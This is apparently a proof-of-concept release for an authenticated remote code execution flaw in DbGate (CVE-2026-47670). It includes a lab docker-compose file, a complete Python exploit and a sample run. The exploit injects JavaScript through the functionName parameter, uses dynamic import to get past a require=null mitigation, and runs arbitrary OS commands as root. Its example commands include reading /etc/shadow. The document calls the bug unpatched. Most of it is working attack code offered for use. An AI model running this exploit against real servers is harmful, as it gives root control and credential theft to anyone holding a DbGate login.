DbGate CVE-2026-47670

// packages/api/src/controllers/runners.js (loadReader / loaderScriptTemplate)
const reader = await dbgateApi.${functionName}({...});

// Mitigation in generated script:
require = null;

// Bypass via dynamic import (language keyword, cannot be nullified):
const { execSync } = await import('child_process');
execSync('arbitrary command');

services:
  sectest-dbgate:
    image: dbgate/dbgate:7.1.4-alpine
    ports:
      - "80:3000"
    environment:
      LOGINS: admin
      LOGIN_PASSWORD_admin: SuperSecretPassword123
      WEB_ROOT: /
      CONNECTIONS: con1
      LABEL_con1: MySQL
      SERVER_con1: sectest-mysql
      USER_con1: dbuser
      PASSWORD_con1: dbpassword
      PORT_con1: 3306
      ENGINE_con1: mysql@dbgate-plugin-mysql

  sectest-mysql:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: testdb
      MYSQL_USER: dbuser
      MYSQL_PASSWORD: dbpassword

#!/usr/bin/env python3
"""
DBGate - Authenticated RCE PoC
===============================
Root-level command execution against auth-enabled DBGate with valid credentials.

  Vulnerability - RCE via loadReader functionName code injection
    The /runners/load-reader endpoint interpolates `functionName` directly
    into a dynamically generated JS script without sanitization.
    A newline in functionName breaks out of the template expression and
    allows arbitrary code execution as root (Docker default).

    The `require = null` mitigation added in June 2025 is trivially
    bypassed via dynamic `import()` (a language keyword, not a function).

Affected versions: All DbGate versions (tested on 6.1.4, 6.2.0, 7.1.4)
Fixed in:          NOT FIXED as of DbGate 7.1.4
Tested on:         dbgate/dbgate:7.1.4-alpine
"""

import argparse
import json
import sys
import time
import uuid
import requests

requests.packages.urllib3.disable_warnings()

COMMON_ROOTS = ["", "/dbgate", "/db", "/admin", "/gate", "/app"]


def banner(host, command, user):
    print(f"""
  ┌─────────────────────────────────────────────────────┐
  │  DBGate - Authenticated RCE PoC                     │
  │  loadReader functionName code injection             │
  │  Affects ALL versions (unpatched as of 7.1.4)       │
  └─────────────────────────────────────────────────────┘
  Target : {host}
  User   : {user}
  Command: {command}
""")


def build_base(host, port=None):
    if "://" not in host:
        host = f"http://{host}"
    scheme, rest = host.split("://", 1)
    rest = rest.rstrip("/")
    slash = rest.find("/")
    if slash == -1:
        hostport, path = rest, ""
    else:
        hostport, path = rest[:slash], rest[slash:]
    if port:
        hostport = hostport.rsplit(":", 1)[0] + f":{port}"
    elif ":" not in hostport:
        hostport += ":80"
    return f"{scheme}://{hostport}", path


def discover_web_root(base_host, explicit_path=""):
    if explicit_path:
        return f"{base_host}{explicit_path}"

    for root in COMMON_ROOTS:
        url = f"{base_host}{root}"
        try:
            r = requests.post(f"{url}/config/get", json={},
                              timeout=3, verify=False)
            if r.status_code == 200 and "version" in r.text:
                if root:
                    print(f"    [+] Auto-detected WEB_ROOT: {root}")
                return url
        except Exception:
            pass
    return base_host


def phase1_recon(base):
    print("[Phase 1] Reconnaissance")
    info = {}

    try:
        r = requests.post(f"{base}/config/get", json={}, timeout=5, verify=False)
        if r.status_code == 200:
            cfg = r.json()
            info["config"] = cfg
            version = cfg.get("version", "?")
            print(f"    [+] Version      : {version}")
            print(f"    [+] Docker       : {cfg.get('isDocker', '?')}")
            print(f"    [+] Data dir     : {cfg.get('connectionsFilePath', '?').rsplit('/', 1)[0]}")
    except Exception:
        print(f"    [!] /config/get failed")

    try:
        r = requests.post(f"{base}/auth/get-providers", json={}, timeout=5, verify=False)
        if r.status_code == 200:
            pdata = r.json()
            info["providers"] = pdata
            providers = pdata.get("providers", [])
            names = [p.get("name", "?") for p in providers]
            default = pdata.get("default", "?")
            print(f"    [+] Auth         : {', '.join(names)} (default: {default})")
            info["default_amoid"] = default
    except Exception:
        pass

    print()
    return info


def phase2_authenticate(base, info, user, password):
    print("[Phase 2] Authentication")

    amoid = info.get("default_amoid", "logins")

    try:
        r = requests.post(
            f"{base}/auth/login",
            json={"amoid": amoid, "login": user, "password": password},
            timeout=5, verify=False,
        )
        if r.status_code == 200:
            data = r.json()
            token = data.get("accessToken")
            if token:
                print(f"    [+] Authenticated as '{user}'")
                print(f"    [+] JWT obtained: {token[:50]}...")
                print()
                return token
            else:
                error = data.get("error", "no accessToken in response")
                print(f"    [-] Login failed: {error}")
        else:
            print(f"    [-] Login failed (HTTP {r.status_code})")
    except Exception as e:
        print(f"    [!] Login error: {e}")

    print()
    return None


def phase3_rce(base, token, command):
    """
    RCE via loadReader functionName code injection.

    functionName is interpolated into a JS script template:
        const reader = await dbgateApi.{functionName}({...});
    A newline in functionName breaks out and injects arbitrary code.

    import() bypasses the require=null mitigation (import is a keyword).
    """
    print("[Phase 3] RCE via loadReader code injection")
    print(f"    [*] Command: {command}")

    uid = uuid.uuid4().hex[:12]
    jslout = f"/tmp/_rce_{uid}.jsonl"

    escaped_cmd = (command
                   .replace("\\", "\\\\")
                   .replace("'", "\\'")
                   .replace("`", "\\`"))

    payload_fn = (
        "csvReader\n"
        "var _r = (await import('child_process'))"
        f".execSync('{escaped_cmd}',{{timeout:30000}})"
        ".toString();\n"
        "var NL = String.fromCharCode(10);\n"
        "var _hdr = JSON.stringify({__isStreamHeader:true,"
        "columns:[{columnName:'out'}]});\n"
        "var _rows = _r.split(NL)"
        ".filter(function(l){return l.length>0})"
        ".map(function(l){return JSON.stringify({out:l})})"
        ".join(NL);\n"
        f"(await import('fs')).writeFileSync('{jslout}',"
        " _hdr + NL + _rows + NL);\n"
        "//"
    )

    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
    }

    print(f"    [*] Injecting payload via functionName (bypasses require=null)")

    try:
        r = requests.post(
            f"{base}/runners/load-reader",
            json={"functionName": payload_fn, "props": {}},
            headers=headers,
            timeout=35, verify=False,
        )
        print(f"    [*] Payload sent (status {r.status_code})")
    except requests.exceptions.Timeout:
        print(f"    [*] Payload sent (timed out - command may still be running)")
    except requests.exceptions.ConnectionError:
        print(f"    [*] Payload sent (connection reset - expected for some versions)")
    except Exception as e:
        print(f"    [!] Send error: {e}")
        return None

    print(f"    [*] Waiting for execution...")
    for wait in [0.5, 1, 1.5, 2, 3, 5]:
        time.sleep(wait)
        try:
            r = requests.post(
                f"{base}/jsldata/get-rows",
                json={"jslid": f"file://{jslout}", "offset": 0, "limit": 10000},
                headers=headers,
                timeout=5, verify=False,
            )
            if r.status_code == 200:
                rows = r.json()
                if isinstance(rows, list) and len(rows) > 0:
                    print(f"    [+] Output captured ({len(rows)} lines)")
                    print()
                    return "\n".join(
                        row.get("out", "")
                        for row in rows
                        if isinstance(row, dict)
                    )
        except requests.exceptions.ConnectionError:
            try:
                time.sleep(1)
                r = requests.post(
                    f"{base}/jsldata/get-rows",
                    json={"jslid": f"file://{jslout}", "offset": 0, "limit": 10000},
                    headers=headers,
                    timeout=5, verify=False,
                )
                if r.status_code == 200:
                    rows = r.json()
                    if isinstance(rows, list) and len(rows) > 0:
                        print(f"    [+] Output captured ({len(rows)} lines, after reconnect)")
                        print()
                        return "\n".join(
                            row.get("out", "")
                            for row in rows
                            if isinstance(row, dict)
                        )
            except Exception:
                pass
        except Exception:
            pass

    print(f"    [-] Could not retrieve output (command may have failed)")
    print()
    return None


def main():
    p = argparse.ArgumentParser(
        add_help=False,
        description="DBGate - Authenticated RCE PoC (loadReader code injection)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Any authenticated DbGate user can escalate to root-level\n"
            "command execution via unsanitized functionName injection.\n"
            "This vulnerability is UNPATCHED as of DbGate 7.1.4.\n"
            "\n"
            "examples:\n"
            "  %(prog)s -t localhost -u admin -P 'password' -c 'id'\n"
            "  %(prog)s -t 10.0.0.5:3000 -u admin -P 's3cret' -c 'cat /etc/shadow'\n"
            "  %(prog)s -t target.internal/dbgate -u admin -P 'pass' -c 'env'\n"
        ),
    )
    p.add_argument("-t", "--target", required=True, help="Target host[:port]")
    p.add_argument("-u", "--user", required=True, help="DbGate username")
    p.add_argument("-P", "--password", required=True, help="DbGate password")
    p.add_argument("-c", "--command", required=True, help="OS command to execute")
    p.add_argument("-p", "--port", type=int, default=None, help="Override port")

    if len(sys.argv) == 1:
        p.print_help()
        sys.exit(1)
    args = p.parse_args()

    base_host, path = build_base(args.target, args.port)
    banner(base_host, args.command, args.user)

    base = discover_web_root(base_host, path)
    print(f"    [*] API endpoint : {base}")
    print()

    info = phase1_recon(base)
    if not info.get("config"):
        print("[!] Cannot reach target - verify host/port/web-root")
        sys.exit(1)

    token = phase2_authenticate(base, info, args.user, args.password)
    if not token:
        print("[!] Authentication failed - check username/password")
        sys.exit(1)

    output = phase3_rce(base, token, args.command)
    if output is not None:
        print("─" * 60)
        print(output.rstrip())
        print("─" * 60)
        print()
        print("[+] RCE successful: authenticated user → root command execution")
    else:
        print("[!] No output captured (command may have failed or timed out)")
        sys.exit(1)


if __name__ == "__main__":
    main()

python3 poc.py -t http://localhost -u admin -P 'SuperSecretPassword123' -c 'id'

  ┌─────────────────────────────────────────────────────┐
  │  DBGate - Authenticated RCE PoC                     │
  │  loadReader functionName code injection             │
  │  Affects ALL versions (unpatched as of 7.1.4)       │
  └─────────────────────────────────────────────────────┘
  Target : http://localhost:80
  User   : admin
  Command: id

    [*] API endpoint : http://localhost:80

[Phase 1] Reconnaissance
    [+] Version      : 7.1.4
    [+] Docker       : True
    [+] Data dir     : /root/.dbgate
    [+] Auth         : Login & Password (default: logins)

[Phase 2] Authentication
    [+] Authenticated as 'admin'
    [+] JWT obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6I...

[Phase 3] RCE via loadReader code injection
    [*] Command: id
    [*] Injecting payload via functionName (bypasses require=null)
    [*] Payload sent (status 500)
    [*] Waiting for execution...
    [+] Output captured (1 lines)

────────────────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
────────────────────────────────────────────────────────────

[+] RCE successful: authenticated user → root command execution